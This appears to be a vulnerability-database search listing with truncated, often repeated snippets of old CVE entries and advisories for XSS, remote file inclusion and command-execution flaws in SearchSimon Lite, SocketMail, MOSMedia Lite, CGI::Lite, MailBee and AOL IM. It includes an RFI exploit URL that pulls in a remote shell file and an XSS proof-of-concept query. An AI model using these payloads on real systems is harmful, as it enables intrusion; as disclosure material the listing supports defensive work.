CVE-2007-5625

CVE-2007-5625 describes a reflected cross-site scripting (XSS) vulnerability in the filename.asp component of ASP Site Search SearchSimon Lite 1.0. Exploitation occurs via the QUERY parameter, allowing remote attackers to inject arbitrary web script or HTML. The linked sources confirm the vulnera...

SocketMail 2.2.8 fnc-readmail3.php Remote File Inclusion Vulnerability

No description provided by source. Vulnerability Type: Remote File Inclusion Vulnerable file: /mail/content/fnc-readmail3.php Exploit URL: http://localhost/mail/content/fnc-readmail3.php?SOCKETMAILROOT=http://localhost/shell.txt? Method: get Registerglobals: On Vulnerable variable: SOCKETMAILROOT...

CVE-2007-5625: Improper Neutralization of Input During Web Page Generation

Cross-site scripting XSS vulnerability in filename.asp in ASP Site Search SearchSimon Lite 1.0 allows remote attackers to inject arbitrary web script or HTML via the QUERY parameter...

socketmail-rfi.txt

Vulnerability Type: Remote File Inclusion Vulnerable file: /mail/content/fnc-readmail3.php Exploit URL: http://localhost/mail/content/fnc-readmail3.php?SOCKETMAILROOT=http://localhost/shell.txt? Method: get Registerglobals: On Vulnerable variable: SOCKETMAILROOT Line number: 399 Lines:...

SearchSimon Lite 1.0 - Filename.asp Cross-Site Scripting

SearchSimon Lite 1.0 - Filename.asp Cross-Site Scripting source: https://www.securityfocus.com/bid/26142/info SearchSimon Lite is prone to a cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied input. An attacker may leverage this issue to execut...

[Aria-Security.Net] SearchSimon Lite Cross-Site Scripting Vuln.

Aria-Security Team http://Aria-Security.net/ ------------------------------------------------- SearchSimon Lite Cross-Site Scripting The file Name may be different in different websites PoC filename.asp?QUERY=XSS&Submit=Search21&ACTION=SEARCH Credits Goes To Aria-Security Team Aria-Security.Net...

SearchSimon Lite 1.0 - 'Filename.asp' Cross-Site Scripting

source: https://www.securityfocus.com/bid/26142/info SearchSimon Lite is prone to a cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting...

CVE-2003-1365

The escapedangerouschars function in CGI::Lite 2.0 and earlier does not correctly remove special characters including 1 "" backslash, 2 "?", 3 "" tilde, 4 "^" carat, 5 newline, or 6 carriage return, which could allow remote attackers to read or write arbitrary files, or execute arbitrary commands...

CVE-2003-1365

The CVE-2003-1365 entry concerns the escape_dangerous_chars function in CGI::Lite 2.0 and earlier. The function fails to remove certain dangerous characters (backslash, ?, ~, ^, newline, and carriage return), allowing remote attackers to read or write arbitrary files or execute arbitrary commands...

CVE-2003-1365: Improper Input Validation

The escapedangerouschars function in CGI::Lite 2.0 and earlier does not correctly remove special characters including 1 "" backslash, 2 "?", 3 "" tilde, 4 "^" carat, 5 newline, or 6 carriage return, which could allow remote attackers to read or write arbitrary files, or execute arbitrary commands...

Remote file inclusion

Multiple PHP remote file inclusion vulnerabilities in the Avant-Garde Solutions MOSMedia Lite commosmedia 4.5.1 component for Mambo and Joomla! allow remote attackers to execute arbitrary PHP code via a URL in the mosConfigabsolutepath parameter to 1 credits.html.php, 2 info.html.php, 3...

CVE-2007-5362

Multiple PHP remote file inclusion vulnerabilities in the Avant-Garde Solutions MOSMedia Lite commosmedia 4.5.1 component for Mambo and Joomla! allow remote attackers to execute arbitrary PHP code via a URL in the mosConfigabsolutepath parameter to 1 credits.html.php, 2 info.html.php, 3...

CVE-2007-5362

Multiple PHP remote file inclusion vulnerabilities in the Avant-Garde Solutions MOSMedia Lite commosmedia 4.5.1 component for Mambo and Joomla! allow remote attackers to execute arbitrary PHP code via a URL in the mosConfigabsolutepath parameter to 1 credits.html.php, 2 info.html.php, 3...

CVE-2007-5362

The CVE-2007-5362 entry describes multiple PHP remote file inclusion (RFI) vulnerabilities in Avant-Garde Solutions MOSMedia Lite (com_mosmedia) 4.5.1 for Mambo/Joomla!, allowing an attacker to execute arbitrary PHP code via mosConfig_absolute_path in includes/ (credits.html.php, info.html.php, m...

CVE-2007-5362: Improper Control of Generation of Code

Multiple PHP remote file inclusion vulnerabilities in the Avant-Garde Solutions MOSMedia Lite commosmedia 4.5.1 component for Mambo and Joomla! allow remote attackers to execute arbitrary PHP code via a URL in the mosConfigabsolutepath parameter to 1 credits.html.php, 2 info.html.php, 3...

Cross site scripting

Multiple cross-site scripting XSS vulnerabilities in MailBee WebMail Pro 3.4 and earlier; and possibly MailBee WebMail Pro ASP before 3.4.64, WebMail Lite ASP before 4.0.11, and WebMail Lite PHP before 4.0.22; allow remote attackers to inject arbitrary web script or HTML via the 1 mode parameter ...

CVE-2007-5290

CVE-2007-5290 describes multiple cross-site scripting (XSS) vulnerabilities in MailBee WebMail Pro 3.4 and earlier, and possibly MailBee WebMail Pro ASP before 3.4.64, plus WebMail Lite ASP before 4.0.11 and WebMail Lite PHP before 4.0.22. The issues allow remote attackers to inject arbitrary web...

CVE-2007-5290: Improper Neutralization of Input During Web Page Generation

Multiple cross-site scripting XSS vulnerabilities in MailBee WebMail Pro 3.4 and earlier; and possibly MailBee WebMail Pro ASP before 3.4.64, WebMail Lite ASP before 4.0.11, and WebMail Lite PHP before 4.0.22; allow remote attackers to inject arbitrary web script or HTML via the 1 mode parameter ...

Core Security Technologies Advisory 2007.0817

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Core Security Technologies – CoreLabs Advisory http://www.coresecurity.com/corelabs Remote command execution, HTML and JavaScript injection vulnerabilities in AOL’s Instant Messaging software Advisory Information Title: Remote Command execution, HTML...

CORE-2007-0817: Remote Command execution, HTML and JavaScript injection vulnerabilities in AOL's Instant Messaging software

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Core Security Technologies – CoreLabs Advisory http://www.coresecurity.com/corelabs Remote command execution, HTML and JavaScript injection vulnerabilities in AOL’s Instant Messaging software Advisory Information Title: Remote Command execution, HTML...